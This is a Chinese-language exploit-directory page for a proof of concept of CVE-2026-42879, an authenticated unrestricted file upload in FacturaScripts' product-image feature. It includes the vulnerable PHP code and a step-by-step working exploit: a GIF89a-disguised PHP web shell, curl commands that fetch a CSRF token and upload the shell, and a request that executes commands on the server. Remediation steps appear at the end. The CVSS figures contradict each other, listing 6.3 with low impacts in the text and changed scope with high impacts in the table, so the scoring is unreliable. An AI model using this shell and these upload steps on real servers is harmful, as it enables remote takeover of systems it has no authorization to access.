Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-42879 — FacturaScripts RCE 漏洞利用 - 概念验证 | Kitploit
工具/GitHubGitHub/guzrex/cve-2026-42879
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队Payload 开发
GitHubguzrex/cve-2026-42879

CVE-2026-42879

FacturaScripts RCE 漏洞利用 - 概念验证

查看仓库
4个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-42879 - FacturaScripts - 通过 MIME 类型绕过实现已认证的不受限制文件上传

摘要

FacturaScripts 的产品图片上传功能中存在一个已认证的不受限制文件上传漏洞。拥有有效凭据的攻击者可以上传伪装成 GIF 图片(使用 GIF89a 文件头)的 PHP 文件,从而绕过 MIME 类型验证。该文件会以其原始扩展名存储,包括 .php 等可执行扩展名。


详细信息

该漏洞存在于:

Core/Lib/ExtendedController/ProductImagesTrait.php

具体位于 addImageAction() 方法中。

漏洞代码

root@kitploit:~
if (false === strpos($uploadFile->getMimeType(), 'image/')) {
    Tools::log()->error('file-not-supported');
    continue;
}

$folder = Tools::folder('MyFiles');
Tools::folderCheckOrCreate($folder);
$uploadFile->move($folder, $uploadFile->getClientOriginalName());

根本原因

  • 验证仅检查 MIME 类型是否包含 "image/"
  • 可以通过在 PHP 文件前添加 GIF89a 魔数 来绕过此检查
  • 系统错误地将该文件识别为 image/gif
  • 文件以 .php 扩展名保存在 Web 可访问的目录中

文件存储行为

上传的文件存储在:

root@kitploit:~
/MyFiles/YYYY/MM/X.php

其中 X 是自动递增的 ID。这允许直接远程执行:

root@kitploit:~
http://target/MyFiles/2026/03/2.php?cmd=id

影响

成功利用该漏洞可导致:

攻击者可以向服务器上传具有可执行扩展名(例如 .php)的文件,根据服务器配置的不同,这可能导致进一步的利用。


概念验证(手动)

步骤 1:创建恶意文件

root@kitploit:~
cat > shell.jpg.php << 'EOF'
GIF89a
<?php
system($_GET['cmd']);
?>
EOF

步骤 2:认证

  • 登录应用程序
  • 从浏览器 Cookie 中提取 PHPSESSID

步骤 3:获取 CSRF 令牌

root@kitploit:~
curl -s "http://target/EditProducto?code=CONTA621" \
  -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
  | grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4

步骤 4:上传 Shell

root@kitploit:~
curl -X POST "http://target/EditProducto?code=CONTA621" \
  -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
  -F "multireqtoken=YOUR_CSRF_TOKEN" \
  -F "action=add-image" \
  -F "activetab=EditProductoImagen" \
  -F "idproducto=3" \
  -F "newfiles[][email protected]"

步骤 5:执行命令

root@kitploit:~
curl "http://target/MyFiles/2026/03/2.php?cmd=id"

CVSS v3.1

向量: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N 基础评分: 6.3(中等)

CWE

  • CWE-434:危险类型文件的不受限制上传

受影响产品


修复建议

  1. 验证文件扩展名 — 拒绝任何文件名以 .php、.phtml、.phar 或其他可执行扩展名结尾的上传,无论 MIME 类型如何
  2. 在服务器端重新生成文件名 — 切勿使用 getClientOriginalName();分配一个经过验证的扩展名的安全 UUID 名称
  3. 将上传文件存储在 Web 根目录之外 — 通过流式传输内容的控制器提供文件服务,防止直接通过 URL 执行
  4. 使用文件类型库 — 使用 fileinfo 等库验证实际文件内容(魔数 + 扩展名 + MIME 类型),而不是信任客户端提供的 MIME

致谢

  • 发现者:Abdullah Alwasabei / Guzrex
下载工具
指标值
攻击向量网络(AV:N)
攻击复杂度低(AC:L)
所需权限低(PR:L)
用户交互无(UI:N)
影响范围已改变(S:C)
机密性高(C:H)
完整性高(I:H)
可用性高(A:H)
字段值
生态系统Packagist
CVE IDCVE-2026-42879
包名称facturascripts/facturascripts
受影响版本<= 2025.81
已修补版本尚未修补
修复版本待定